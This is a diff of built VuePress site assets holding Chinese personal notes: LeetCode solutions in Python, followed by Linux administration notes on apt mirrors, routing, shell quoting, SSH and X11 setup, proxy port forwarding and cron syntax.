+ if s[ right+ 1 ] not in lst:
+ lst. append( s[ right+ 1 ] )
+ right += 1
+ ans = right- left if ans < right- left else ans
+ else :
+ left += 1
+ lst. pop( 0 )
+ return ans
+
987/987 cases passed (184 ms) Your runtime beats 18.15 % of python3 submissions Your memory usage beats 68.32 % of python3 submissions (14.9 MB) 估计大部分时间都花在判断数字是否在列表里了,改进的话打算用字典 力扣加加 class Solution :
+ def lengthOfLongestSubstring ( self, s: str ) - > int :
+ l = 0
+ ans = 0
+ counter = defaultdict( lambda : 0 )
+
+ for r in range ( len ( s) ) :
+ while counter. get( s[ r] , 0 ) != 0 :
+ counter[ s[ l] ] = counter. get( s[ l] , 0 ) - 1
+ l += 1
+ counter[ s[ r] ] += 1
+ ans = max ( ans, r - l + 1 )
+
+ return ans
+
987/987 cases passed (92 ms) Your runtime beats 34.48 % of python3 submissions Your memory usage beats 49.33 % of python3 submissions (15 MB) 若执行后面语句时有对不在字典值内的数据进行判断的情况,则默认生成一个索引为该值,值为0的项 取s[l]的值,若没有则返回0 3.15 排序链表(T148) 题目描述 `,11),h=n("ul",null,[n("li",null,[s("给你链表的头结点 head ,请将其按 "),n("strong",null,"升序"),s(" 排列并返回 "),n("strong",null,"排序后的链表"),s(" 。")]),n("li",null,[s("进阶: "),n("ul",null,[n("li",null,"你可以在 O(n log n) 时间复杂度和常数级空间复杂度下,对链表进行排序吗?")])]),n("li",null,[n("strong",null,"示例1"),s(": "),n("ul",null,[n("li",null,[n("img",{src:"http://cdn.ayusummer233.top/img/20210315084827.png",alt:"20210315084827"})])]),n("div",{class:"language-text line-numbers-mode","data-ext":"text"},[n("pre",{class:"language-text"},[n("code",null,`输入:head = [4,2,1,3]
+输出:[1,2,3,4]
+`)]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"})])])]),n("li",null,[s("提示: "),n("ul",null,[n("li",null,[s("链表中节点的数目在范围 [0, "),n("span",{class:"katex"},[n("span",{class:"katex-mathml"},[n("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[n("semantics",null,[n("mrow",null,[n("mn",null,"5"),n("mo",null,"∗"),n("mn",null,"1"),n("msup",null,[n("mn",null,"0"),n("mn",null,"4")])]),n("annotation",{encoding:"application/x-tex"},"5 * 10^4")])])]),n("span",{class:"katex-html","aria-hidden":"true"},[n("span",{class:"base"},[n("span",{class:"strut",style:{height:"0.6444em"}}),n("span",{class:"mord"},"5"),n("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),n("span",{class:"mbin"},"∗"),n("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),n("span",{class:"base"},[n("span",{class:"strut",style:{height:"0.8141em"}}),n("span",{class:"mord"},"1"),n("span",{class:"mord"},[n("span",{class:"mord"},"0"),n("span",{class:"msupsub"},[n("span",{class:"vlist-t"},[n("span",{class:"vlist-r"},[n("span",{class:"vlist",style:{height:"0.8141em"}},[n("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[n("span",{class:"pstrut",style:{height:"2.7em"}}),n("span",{class:"sizing reset-size6 size3 mtight"},[n("span",{class:"mord mtight"},"4")])])])])])])])])])]),s("] 内")]),n("li",null,[n("span",{class:"katex"},[n("span",{class:"katex-mathml"},[n("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[n("semantics",null,[n("mrow",null,[n("msup",null,[n("mrow",null,[n("mo",null,"−"),n("mn",null,"10")]),n("mn",null,"5")]),n("mo",null,"<"),n("mo",null,"="),n("mi",null,"N"),n("mi",null,"o"),n("mi",null,"d"),n("mi",null,"e"),n("mi",{mathvariant:"normal"},"."),n("mi",null,"v"),n("mi",null,"a"),n("mi",null,"l"),n("mo",null,"<"),n("mo",null,"="),n("msup",null,[n("mn",null,"10"),n("mn",null,"5")])]),n("annotation",{encoding:"application/x-tex"},"{-10}^5 <= Node.val <= {10}^5")])])]),n("span",{class:"katex-html","aria-hidden":"true"},[n("span",{class:"base"},[n("span",{class:"strut",style:{height:"0.9318em","vertical-align":"-0.0833em"}}),n("span",{class:"mord"},[n("span",{class:"mord"},[n("span",{class:"mord"},"−"),n("span",{class:"mord"},"10")]),n("span",{class:"msupsub"},[n("span",{class:"vlist-t"},[n("span",{class:"vlist-r"},[n("span",{class:"vlist",style:{height:"0.8484em"}},[n("span",{style:{top:"-3.0973em","margin-right":"0.05em"}},[n("span",{class:"pstrut",style:{height:"2.7em"}}),n("span",{class:"sizing reset-size6 size3 mtight"},[n("span",{class:"mord mtight"},"5")])])])])])])]),n("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),n("span",{class:"mrel"},"<="),n("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),n("span",{class:"base"},[n("span",{class:"strut",style:{height:"0.7335em","vertical-align":"-0.0391em"}}),n("span",{class:"mord mathnormal",style:{"margin-right":"0.10903em"}},"N"),n("span",{class:"mord mathnormal"},"o"),n("span",{class:"mord mathnormal"},"d"),n("span",{class:"mord mathnormal"},"e"),n("span",{class:"mord"},"."),n("span",{class:"mord mathnormal",style:{"margin-right":"0.03588em"}},"v"),n("span",{class:"mord mathnormal"},"a"),n("span",{class:"mord mathnormal",style:{"margin-right":"0.01968em"}},"l"),n("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),n("span",{class:"mrel"},"<="),n("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),n("span",{class:"base"},[n("span",{class:"strut",style:{height:"0.8484em"}}),n("span",{class:"mord"},[n("span",{class:"mord"},[n("span",{class:"mord"},"10")]),n("span",{class:"msupsub"},[n("span",{class:"vlist-t"},[n("span",{class:"vlist-r"},[n("span",{class:"vlist",style:{height:"0.8484em"}},[n("span",{style:{top:"-3.0973em","margin-right":"0.05em"}},[n("span",{class:"pstrut",style:{height:"2.7em"}}),n("span",{class:"sizing reset-size6 size3 mtight"},[n("span",{class:"mord mtight"},"5")])])])])])])])])])])])])])],-1),y=n("hr",null,null,-1),g=n("h2",{id:"归并排序-递归",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#归并排序-递归","aria-hidden":"true"},"#"),s(" 归并排序(递归)")],-1),f={href:"https://leetcode-cn.com/problems/sort-list/solution/sort-list-gui-bing-pai-xu-lian-biao-by-jyd/",target:"_blank",rel:"noopener noreferrer"},w=n("li",null,[n("img",{src:"http://cdn.ayusummer233.top/img/20210315085242.png",alt:"20210315085242"})],-1),x=a(`class Solution :
+ def sortList ( self, head: ListNode) - > ListNode:
+ if not head or not head. next : return head
+
+ slow, fast = head, head. next
+ while fast and fast. next :
+ fast, slow = fast. next . next , slow. next
+ mid, slow. next = slow. next , None
+
+ left, right = self. sortList( head) , self. sortList( mid)
+
+ h = res = ListNode( 0 )
+ while left and right:
+ if left. val < right. val: h. next , left = left, left. next
+ else : h. next , right = right, right. next
+ h = h. next
+ h. next = left if left else right
+ return res. next
+
28/28 cases passed (356 ms) Your runtime beats 88.6 % of python3 submissions Your memory usage beats 53.5 % of python3 submissions (30 MB) `,2);function _(L,N){const t=o("ExternalLinkIcon");return l(),i("div",null,[c(`
+ * @Author: your name
+ * @Date: 2021-01-22 00:35:37
+ * @LastEditTime: 2021-03-15 12:16:21
+ * @LastEditors: Please set LastEditors
+ * @Description: In User Settings Edit
+ * @FilePath: \\DailyNotes\\LeetCode\\LeetCodeNote.md
+`),r,n("ul",null,[n("li",null,[n("a",d,[s("五分钟学算法"),e(t)])])]),k,n("ul",null,[m,n("li",null,[n("a",v,[s("五分钟学算法"),e(t)])])]),b,h,y,g,n("ul",null,[n("li",null,[n("a",f,[s("源自@Krahets"),e(t)])]),w]),x])}const S=p(u,[["render",_],["__file","LeetCodeNote.html.vue"]]);export{S as default};
diff --git a/assets/Linux.html-199de990.js b/assets/Linux.html-199de990.js
new file mode 100644
index 0000000000..963fd1e349
--- /dev/null
+++ b/assets/Linux.html-199de990.js
@@ -0,0 +1 @@
+const l=JSON.parse(`{"key":"v-0a967633","path":"/%E9%80%9A%E8%AF%86/Linux.html","title":"Linux","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"Ubuntu 的 source.list 文件","slug":"ubuntu-的-source-list-文件","link":"#ubuntu-的-source-list-文件","children":[{"level":3,"title":"换源","slug":"换源","link":"#换源","children":[]}]},{"level":2,"title":"根目录各目录含义","slug":"根目录各目录含义","link":"#根目录各目录含义","children":[]},{"level":2,"title":"SHELL","slug":"shell","link":"#shell","children":[{"level":3,"title":"路由操作","slug":"路由操作","link":"#路由操作","children":[]},{"level":3,"title":"类清屏","slug":"类清屏","link":"#类清屏","children":[]},{"level":3,"title":"运算符","slug":"运算符","link":"#运算符","children":[]},{"level":3,"title":"单引号, 双引号与反引号","slug":"单引号-双引号与反引号","link":"#单引号-双引号与反引号","children":[]},{"level":3,"title":"查找文件","slug":"查找文件","link":"#查找文件","children":[]},{"level":3,"title":"历史记录","slug":"历史记录","link":"#历史记录","children":[]}]},{"level":2,"title":"SSH","slug":"ssh","link":"#ssh","children":[{"level":3,"title":"VSCode: Remote-SSH","slug":"vscode-remote-ssh","link":"#vscode-remote-ssh","children":[]},{"level":3,"title":"MobaXterm","slug":"mobaxterm","link":"#mobaxterm","children":[]},{"level":3,"title":"WindTerm","slug":"windterm","link":"#windterm","children":[]},{"level":3,"title":"Terminus","slug":"terminus","link":"#terminus","children":[]},{"level":3,"title":"远程图形化界面的本地显示","slug":"远程图形化界面的本地显示","link":"#远程图形化界面的本地显示","children":[]},{"level":3,"title":"使用 SSH 做端口转发让服务器用本地的 clash 代理","slug":"使用-ssh-做端口转发让服务器用本地的-clash-代理","link":"#使用-ssh-做端口转发让服务器用本地的-clash-代理","children":[]}]},{"level":2,"title":"使用 root 登入 UI","slug":"使用-root-登入-ui","link":"#使用-root-登入-ui","children":[]},{"level":2,"title":"软硬链接","slug":"软硬链接","link":"#软硬链接","children":[]},{"level":2,"title":"常用命令","slug":"常用命令","link":"#常用命令","children":[{"level":3,"title":"echo","slug":"echo","link":"#echo","children":[]},{"level":3,"title":"查看软件安装位置","slug":"查看软件安装位置","link":"#查看软件安装位置","children":[]},{"level":3,"title":"防火墙相关","slug":"防火墙相关","link":"#防火墙相关","children":[]},{"level":3,"title":"压缩与解压","slug":"压缩与解压","link":"#压缩与解压","children":[]},{"level":3,"title":"Cron 表达式","slug":"cron-表达式","link":"#cron-表达式","children":[]},{"level":3,"title":"计算文件占用空间","slug":"计算文件占用空间","link":"#计算文件占用空间","children":[]}]},{"level":2,"title":"网络","slug":"网络","link":"#网络","children":[{"level":3,"title":"NetworkManager","slug":"networkmanager","link":"#networkmanager","children":[]},{"level":3,"title":"启用与禁用网卡","slug":"启用与禁用网卡","link":"#启用与禁用网卡","children":[]},{"level":3,"title":"IP 转换","slug":"ip-转换","link":"#ip-转换","children":[]},{"level":3,"title":"防火墙","slug":"防火墙","link":"#防火墙","children":[]},{"level":3,"title":"代理","slug":"代理","link":"#代理","children":[]}]},{"level":2,"title":"WSL2","slug":"wsl2","link":"#wsl2","children":[{"level":3,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":3,"title":"卸载","slug":"卸载","link":"#卸载","children":[]},{"level":3,"title":"VSCode-ssh-remote","slug":"vscode-ssh-remote","link":"#vscode-ssh-remote","children":[]},{"level":3,"title":"端口映射","slug":"端口映射","link":"#端口映射","children":[]},{"level":3,"title":"WSL2 DNS 服务异常","slug":"wsl2-dns-服务异常","link":"#wsl2-dns-服务异常","children":[]},{"level":3,"title":"报错收集","slug":"报错收集","link":"#报错收集","children":[]}]},{"level":2,"title":"服务器","slug":"服务器","link":"#服务器","children":[{"level":3,"title":"远程连接服务器","slug":"远程连接服务器","link":"#远程连接服务器","children":[]},{"level":3,"title":"文件下载","slug":"文件下载","link":"#文件下载","children":[]},{"level":3,"title":"腾讯云轻量","slug":"腾讯云轻量","link":"#腾讯云轻量","children":[]},{"level":3,"title":"探针","slug":"探针","link":"#探针","children":[]}]},{"level":2,"title":"窗口工具","slug":"窗口工具","link":"#窗口工具","children":[{"level":3,"title":"Zellij","slug":"zellij","link":"#zellij","children":[]},{"level":3,"title":"Screen 命令","slug":"screen-命令","link":"#screen-命令","children":[]}]},{"level":2,"title":"软件","slug":"软件","link":"#软件","children":[{"level":3,"title":"Firefox","slug":"firefox","link":"#firefox","children":[]},{"level":3,"title":"微信","slug":"微信","link":"#微信","children":[]}]},{"level":2,"title":"常见问题","slug":"常见问题","link":"#常见问题","children":[{"level":3,"title":"the root filesystem require a manual fsck","slug":"the-root-filesystem-require-a-manual-fsck","link":"#the-root-filesystem-require-a-manual-fsck","children":[]},{"level":3,"title":"E: dpkg was interrupted, you must manually run 'dpkg --configure -a' to correct the problem.","slug":"e-dpkg-was-interrupted-you-must-manually-run-dpkg-configure-a-to-correct-the-problem","link":"#e-dpkg-was-interrupted-you-must-manually-run-dpkg-configure-a-to-correct-the-problem","children":[]},{"level":3,"title":"E: Sub-process /usr/bin/dpkg returned an error code (1)","slug":"e-sub-process-usr-bin-dpkg-returned-an-error-code-1","link":"#e-sub-process-usr-bin-dpkg-returned-an-error-code-1","children":[]}]},{"level":2,"title":"game","slug":"game","link":"#game","children":[{"level":3,"title":"手游相关","slug":"手游相关","link":"#手游相关","children":[]}]},{"level":2,"title":"Ubuntu 安装邮件服务器(TODO - 校验有问题且暂时不打算用, 已搁置)","slug":"ubuntu-安装邮件服务器-todo-校验有问题且暂时不打算用-已搁置","link":"#ubuntu-安装邮件服务器-todo-校验有问题且暂时不打算用-已搁置","children":[]}],"git":{"createdTime":1679884606000,"updatedTime":1697075546000,"contributors":[{"name":"233Official","email":"ayusummr233@gmail.com","commits":8},{"name":"233Official","email":"ayusummer233@qq.com","commits":5}]},"readingTime":{"minutes":39.8,"words":11939},"filePathRelative":"通识/Linux.md","localizedDate":"2023年3月27日","excerpt":""}`);export{l as data};
diff --git a/assets/Linux.html-36e96b97.js b/assets/Linux.html-36e96b97.js
new file mode 100644
index 0000000000..acd7a43478
--- /dev/null
+++ b/assets/Linux.html-36e96b97.js
@@ -0,0 +1,231 @@
+import{_ as d}from"./plugin-vue_export-helper-c27b6911.js";import{r,o as p,c as u,b as e,e as n,d as s,w as l,f as t}from"./app-880c6425.js";const h={},m=t(' Linux Ubuntu 的 source.list 文件 ',4),b={href:"https://www.jianshu.com/p/5400722c369c",target:"_blank",rel:"noopener noreferrer"},g={href:"https://blog.csdn.net/u012843189/article/details/80964287",target:"_blank",rel:"noopener noreferrer"},v=e("h3",{id:"换源",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#换源","aria-hidden":"true"},"#"),n(" 换源")],-1),k={href:"https://segmentfault.com/a/1190000040946515",target:"_blank",rel:"noopener noreferrer"},f=t(`换网易源:
打开 /etc/apt/sources.list
在文件首部加上如下配置
# 镜像
+deb http://mirrors.163.com/ubuntu/ focal main restricted
+deb http://mirrors.163.com/ubuntu/ focal universe
+deb http://mirrors.163.com/ubuntu/ focal multiverse
+deb http://mirrors.163.com/ubuntu/ focal-updates main restricted
+deb http://mirrors.163.com/ubuntu/ focal-updates universe
+deb http://mirrors.163.com/ubuntu/ focal-updates multiverse
+deb http://mirrors.163.com/ubuntu/ focal-backports main restricted universe multiverse
+
然后注释掉相应后缀的源本的官方源之后更新下索引即可
根目录各目录含义
/bin :二进制文件的存储位置。包含了系统启动和修复所需的基本命令,如ls、cp、mv等。/boot :包含启动Ubuntu Linux所需的内核文件和引导加载程序配置文件。/dev :设备文件目录。包含系统用于与硬件设备进行通信的特殊文件,如磁盘分区、USB设备、键盘等。/etc :配置文件的存储位置。包含系统和应用程序的配置文件,用于管理系统和应用程序的设置。/home :用户的主目录。每个用户通常都有一个子目录,用于存储其个人文件和设置。/lib :共享库文件的存储位置, 存放着系统最基本的动态链接共享库,类似于 Windows 里的 DLL 文件。几乎所有的应用程序都需要用到这些共享库,包含了用于系统启动和运行的共享库。/media :可移动媒体设备的挂载点。当插入USB闪存驱动器或CD/DVD时,这些设备通常会在此处挂载。/mnt :手动挂载其他文件系统的临时挂载点。/opt :可选软件包的安装位置。某些第三方软件可能安装在此处。/proc :虚拟文件系统,用于访问有关系统进程和内核状态的信息。/root :超级用户(root)的主目录。/run :在系统启动期间创建的临时运行时文件的存储位置。/sbin :系统命令的存储位置。包含只能由超级用户执行的系统命令。/srv :服务数据的存储位置。用于存储系统提供的一些服务的数据。/sys :用于与Linux内核进行交互的虚拟文件系统。/tmp :临时文件的存储位置。通常用于存储临时数据,文件在重启后会被清除。/usr :用户数据的次要存储位置。包含系统的大多数用户级程序和文件,包括可执行文件、库文件、头文件等。/var :可变数据的存储位置。包括日志文件、数据库文件、邮件和其他可变数据。 SHELL `,11),_={href:"https://zhuanlan.zhihu.com/p/56532223",target:"_blank",rel:"noopener noreferrer"},x=t(`shell 是运行在终端中的文本互动程序,bash(GNU Bourne-Again Shell)是最常用的一种 shell。是当前大多数 Linux 发行版的默认 Shell。
其他的 shell 还有:sh、bash、ksh、rsh、csh 等。Ubuntu 系统常用的是 bash,Bio-linux 系统是基于 ubuntu 定制的,但是却使用了 zsh。
sh 的全名是 Bourne Shell。名字中的玻恩就是这个 Shell 的作者。
而 bash 的全名是 Bourne Again Shell。最开始在 Unix 系统中流行的是 sh,而 bash 作为 sh 的改进版本,提供了更加丰富的功能。一般来说,都推荐使用 bash 作为默认的 Shell。
查看当前系统中 shell 的类型:
路由操作 ip route 查看路由表
添加一条路由
ip route add [ 目的网段/掩码] via [ 网关] dev [ 网卡]
+ip route add 192.0 .2.0/24 via 10.0 .0.1 dev eth0
+
删除一条路由
ip route del [ 目标网段/掩码] via [ 网关] dev [ 网卡]
+ip route del 192.0 .2.0/24 via 10.0 .0.1 dev eth0
+
查看某个目的的路由信息
route(deprecated) ip route
命令是属于 iproute2 套件的一部分,这个套件在现代的 Linux 系统中已经成为了网络配置的标准工具。 相较于旧的 route
命令,ip route
提供了更多的功能并且在设计上更加灵活和强大。
route add -net [ 目的网段] netmask [ 掩码] gw [ 网关]
+route del -net [ 目的网段] netmask [ 掩码] gw [ 网关]
+
这样加的路由是临时的, 每次重启都会掉路由, 可以通过在 /root/.bashrc
中写入如下命令
+if ! ip route | grep -q [ 目的网段] ; then
+ route add -net [ 目的网段] netmask [ 子网掩码] gw [ 网关ip]
+fi
+
由于每次打开 bash 都会加载 ~/.bashrc
, 而 VSCode SSH 连远程主机一般第一件事就是新建一个 bash, 所以这样也可以变相解决手动加路由的困扰
不用 bash 的话也可以手动 source ~/.bashrc 来加载路由
-q
参数使得 ip route | grep [目的网段]
命令不输出结果, 不使用 -d
的话每次新建 bash 都会看到该条命令的输出结果
类清屏 运算符 管道运算符 |
把第一个命令 command 1
执行的结果作为 command 2
的输入传给 command 2
例如:
该命令列出当前目录中的文档(含 size),并把输出送给 sort 命令作为输入,sort 命令按数字递减的顺序把 ls 的输出排序。
-s
: file size-n
: numeric-sort
-r
: reverse,反转
单引号, 双引号与反引号 `,34),E={href:"http://c.biancheng.net/view/951.html",target:"_blank",rel:"noopener noreferrer"},y=t(`单引号和双引号用于变量值出现空格时,比如 name=zhang san
这样执行就会出现问题,而必须用引号括起来,比如 name="zhang san"
。
单引号和双引号的区别在于
单引号中的字符仅仅表示它本身,不会被解释,比如 name='zhang san'
,那么 echo $name
就会输出 zhang san
。 双引号中括起来的字符, $
和 \\
以及反引号是拥有特殊意义的
+name = sc
+
+echo '$name'
+
+echo "$name "
+
+echo \` date \`
+
+echo $( date )
+
+echo '\`date\`'
+
+echo "\` date \` "
+
+echo "\\$ \\\`"
+
查找文件 `,7),w=e("p",null,"使用 locate",-1),B={href:"https://unix.stackexchange.com/questions/273182/difference-between-locate-and-mlocate",target:"_blank",rel:"noopener noreferrer"},A=e("hr",null,null,-1),S=t(`
+apt install mlocate
+
+time updatedb
+
+locate [ 文件名]
+
`,1),q=t(`使用 find
命令
比如查找 success 文件
历史记录 `,6),D={href:"https://zhuanlan.zhihu.com/p/371739269",target:"_blank",rel:"noopener noreferrer"},C=t(`使用 history 命令可以查看当前用户执行的历史命令
此外, 每个用户根目录下还都有一个 .bash_history
文件, 也存储了 bash 历史记录:
不过这样看到的历史命令没有时间的, 需要时间的话还需要
export HISTTIMEFORMAT = "%Y-%m-%d %T"
+
或者写到 /root/.bashrc
中然后 source /root/.bashrc
+echo '' >> /root/.bashrc
+echo 'export HISTTIMEFORMAT="%Y-%m-%d %T"' >> /root/.bashrc
+source /root/.bashrc
+
这样再 history 就能看到带时间的日志了, 不过稍早一些的日志已经无可考证时间了, 毕竟当时执行的时候没保存时间戳
此外 .bash_history
并非实时操作的, 正常退出 shell (Ctrl+D
, exit
)时, shell 进程会把历史记录缓冲区的内容写到 .bash_history
中
SSH `,14),L={href:"https://developer.aliyun.com/article/763505",target:"_blank",rel:"noopener noreferrer"},N=e("hr",null,null,-1),F=t(`首先需要确认自己的机子是否有 SSH 服务, 如果 SSH 不能连上本机的话那么需要装下 openssh
+sudo passwd root
+
+
+apt update
+
+apt install openssh-server
+
安装完成后 SSH 服务会自动启动
按 q
返回命令行
需要注意的是 ubuntu 自带一个配置 iptables 防火墙的工具 UFW(Uncomplicated Firewall
), 如果系统防火墙已经启用那么请确保打开了 SSH 端口
到此为止就可以使用普通账户 ssh 登录了, 但是还不能用 root 来 ssh 连接, 还需要再配置下
+apt install vim
+
+
+vim /etc/ssh/sshd_config
+
+
+
将 #Authentication
项目下的 PermitRootLogin
设置为 yes
, PasswordAuthentication
项也设置为 yes
如果后者没有就新建一个
+service ssh restart
+
+update-rc.d ssh enable
+
然后就可以使用 root 账户 ssh 该设备了
VSCode: Remote-SSH VSCode 安装 Remote-SSH
打开 Remote-SSH 配置项
填入
Host [为该主机随便起个有辨识度的名字]
+ HostName [主机ip]
+ User [登入用户, 可以填 root]
+
连接到远程然后根据提示选择 Linux, 输入密码即可
在本地打开命令行执行生成密钥命令:
根据提示完成密钥生成步骤(可以什么都不输入一路回车到完成)
完成后会生成一个私钥(id_rsa
)一个公钥(id_rsa_pub
)
将本地公钥 复制到远程主机的 /root/.ssh
目录下然后在终端中 cd 到该目录执行(如果该目录不存在则先创建此目录)
cat id_rsa_ubuntu1.pub >> authorized_keys
+sudo chmod 600 authorized_keys
+sudo chmod 700 ~/.ssh
+
然后打开 remote-ssh 配置文件, 在原来配置项的基础上加上一个 IdentityFile
字段, 填写上本地私钥 路径即可
Host [为该主机随便起个有辨识度的名字]
+ HostName [主机ip]
+ User [root]
+ IdentityFile "[本地私钥路径]"
+
然后重新连接远程主机, 就不需要输入密码了
MobaXterm `,35),z={href:"https://blog.csdn.net/u014636245/article/details/83855860",target:"_blank",rel:"noopener noreferrer"},W=t(' WindTerm Terminus 远程图形化界面的本地显示 ',6),P={href:"https://juejin.cn/post/7109647016086470669",target:"_blank",rel:"noopener noreferrer"},U={href:"https://zhuanlan.zhihu.com/p/260189540",target:"_blank",rel:"noopener noreferrer"},H={href:"https://scicomp.aalto.fi/triton/quickstart/installxonwindows/",target:"_blank",rel:"noopener noreferrer"},j=e("hr",null,null,-1),I=t(`编辑 /etc/ssh/sshd_config
修改如下三条配置:
X11Forwarding yes
+
+X11UseLocalhost no
+
+PrintMotd no
+
+
+
+service ssh reload
+
+sudo apt install x11-apps
+
到这里 MobaXterm 就可以在本地显示远程应用的 UI 了
但是 VSCode 没有 DISPLAY 环境变量, 需要在 MobaXterm 里执行下
对应得将如下配置添加到 /root/.bashrc
中:
export DISPLAY=localhost:11.0
+
`,13),M=e("p",null,"PS: 这个 IDSPLAY 变量的值是会变的, 貌似是每次 MobaXterm SSH 连接设备都会变",-1),T=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202212021823466.png",alt:"image-20221202133848680"})],-1),R={href:"https://askubuntu.com/questions/432255/what-is-the-display-environment-variable",target:"_blank",rel:"noopener noreferrer"},V={href:"https://steinslab.io/archives/2082#3_X11_Forwarding",target:"_blank",rel:"noopener noreferrer"},G=e("p",null,"折腾了一圈最后感觉还是开个 MobaXterm 然后用 VSCode 比较方便",-1),O=t(` 一些软件命令行启动的命令
+firefox
+
+firefox -profilemanager
+
`,4),X=e("p",null,"不过远程启动火狐后使用体验不是很好, 比较卡, 找到的一篇相关文章也并没有复现成功, 于是就继续远程 windows 用浏览器了",-1),$={href:"https://www.cnblogs.com/zafu/p/9392498.html",target:"_blank",rel:"noopener noreferrer"},Y=t('从个人实际需求出发之后发现了一个比较好的替代方案
因为个人希望打开远程浏览器主要是为了访问局域网里的靶场, 然后通过 burp 拦截请求
那么可以用 VSCode 的端口转发功能, 将 BurpSuit 代理的端口(比如 8080) 转发到本机, 然后在本机的 firefox 设置 localhost 8080 代理, 之后就可以在本机 firefox 中访问局域网靶场以及使用 burp 拦截请求了
PS: 单独设置 VSCode 的端口转发以及 FireFox 的代理并不能使 Firefox 访问局域网站点, 需要用 burp 也代理相同端口才能正常访问局域网站点
',10),K=t(`java -jar [ burpsuitxxx.jar绝对路径]
+
就是分辨率有点奇怪, 可以在 ~/.bashrc
加上 GDK_SCALE
参数来放大 [GDK_SCALE] 倍(只能是整数倍)
export GDK_SCALE = 2
+export GDK_DPI_SCALE = 1
+
使用 SSH 做端口转发让服务器用本地的 clash 代理 首先在本地将 Clash 的 Allow Lan
打开
使用 SSH 创建端口转发
ssh -fNR 7890 :localhost:7890 -i [ ssh私钥绝对路径] [ 用户名] @[ 服务器IP]
+
-f
后台运行-N
不执行远程命令, 仅做端口转发-R
远程端口转发如此一来就可以在服务器上使用本地的 Clash 代理了
http代理
: http://localhost:7890
socks5代理
: socks5://localhost:7890
使用 root 登入 UI `,13),Z={href:"https://blog.csdn.net/COCO56/article/details/107628019",target:"_blank",rel:"noopener noreferrer"},J=e("hr",null,null,-1),Q=e("p",null,"不建议使用特权用户登入系统(一键扬掉系统.jpg)",-1),ee={href:"https://mlog.club/article/4094413",target:"_blank",rel:"noopener noreferrer"},ne=e("hr",null,null,-1),se=t(`首先设置好 root 密码, 然后改几个文件
/usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf
在末尾加上
+greeter-show-manual-login = true
+
/etc/pam.d/gdm-autologin
使用 # 注释第三行的限制 root 登录:
/etc/pam.d/gdm-password
使用 # 注释第 3 行限制 root 登录的配置项:
/root/.profile
使用 # 注释掉最后一行然后添加一行
+tty -s&&mesg n || true
+
重启设备然后即可使用 root 账户登入 UI 界面
然后就会看到不推荐使用特权用户登入系统
软硬链接 `,4),ae={href:"https://www.cnblogs.com/matengfei123/p/12824422.html",target:"_blank",rel:"noopener noreferrer"},te=e("hr",null,null,-1),le=e("h2",{id:"常用命令",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#常用命令","aria-hidden":"true"},"#"),n(" 常用命令")],-1),ie=e("h3",{id:"echo",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#echo","aria-hidden":"true"},"#"),n(" echo")],-1),oe={href:"https://phoenixnap.com/kb/echo-command-linux",target:"_blank",rel:"noopener noreferrer"},re=t(`
+echo [ option] [ string]
+
查看软件安装位置 `,4),ce={href:"https://www.cnblogs.com/macrored/p/11757888.html",target:"_blank",rel:"noopener noreferrer"},de=t(` 防火墙相关 `,3),pe={href:"https://sunpma.com/555.html",target:"_blank",rel:"noopener noreferrer"},ue={href:"https://blog.csdn.net/justheretobe/article/details/51843178",target:"_blank",rel:"noopener noreferrer"},he=t(` 压缩与解压 option 含义 -d 目录名 将压缩文件解压到指定目录下。 -n 解压时并不覆盖已经存在的文件。 -o 解压时覆盖已经存在的文件,并且无需用户确认。 -v 查看压缩文件的详细信息,包括压缩文件中包含的文件大小、文件名以及压缩比等,但并不做解压操作。 -t 测试压缩文件有无损坏,但并不解压。 -x 文件列表 解压文件,但不包含文件列表中指定的文件。
Cron 表达式 `,6),me={href:"https://cloud.tencent.com/developer/article/1674682",target:"_blank",rel:"noopener noreferrer"},be=t(`Cron 是类 Unix 操作系统中一个基于时间的工作调度器, Cron 表达式使用字符串标识, 定义了一个 Cron 工作的运行时间, 由 6 个或 7 个字段组成, 各字段按照先后顺序分别标识 分钟 小时 月份中的天(1-31) 月份 星期几 年份(可选)
例如如下表达式表示在每天 0:00
运行任务: 0 0 * * *
各字段含义 字段 允许值 允许的特殊字符 秒(Seconds) 0~59 的整数 , - * /
分(Minutes) 0~59 的整数 , - * /
小时(Hours) 0~23 的整数 , - * /
日期(DayofMonth) 1~31 的整数(但是你需要考虑你月的天数) ,- * ? / L W C
月份(Month) 1~12 的整数或者 JAN-DEC , - * /
星期(DayofWeek) 1~7 的整数或者 SUN-SAT (1=SUN) , - * ? / L C #
年(可选)(Year) 1970~2099 , - * /
由于调度作业通常不需要秒字段, 因此很多情况下 5 个字段的 cron 表达式就足够表示需要的时间了, 当一个 cron 表达式只有 5 个字段时, 其等效于秒字段为 0 其他字段与其相同的 cron 表达式
:
匹配任意值, 即在每个当前域的每个时间单位都触发一次, 比如用在 分
内则表示每分钟触发一次
?
只能用在 日期(DayofMonth)
和 星期(DayofWeek)
两个域, 含义与 *
相似但不同, 比如
-
表示范围, 如 时
字段为 9-17
表示 [9时, 17时]
/
表示起始时间每隔固定时间触发一次, 比如 时
字段为 9-17/2
表示 [9时, 17时]
间每 2h 触发一次
,
表示枚举, 比如 时
字段为 9,17
表示在 9 时与 17 时分别触发一次
L
表示最后, 只能用在 日期(DayofMonth)
和 星期(DayofWeek)
两个域; 如果在 DayofWeek 域使用 5L,意味着在最后的一个星期四触发。
W
表示有效工作日(周一到周五),只能出现在 DayofMonth 域,系统将在离指定日期的最近的有效工作日触发事件。例如:在 DayofMonth 使用 5W
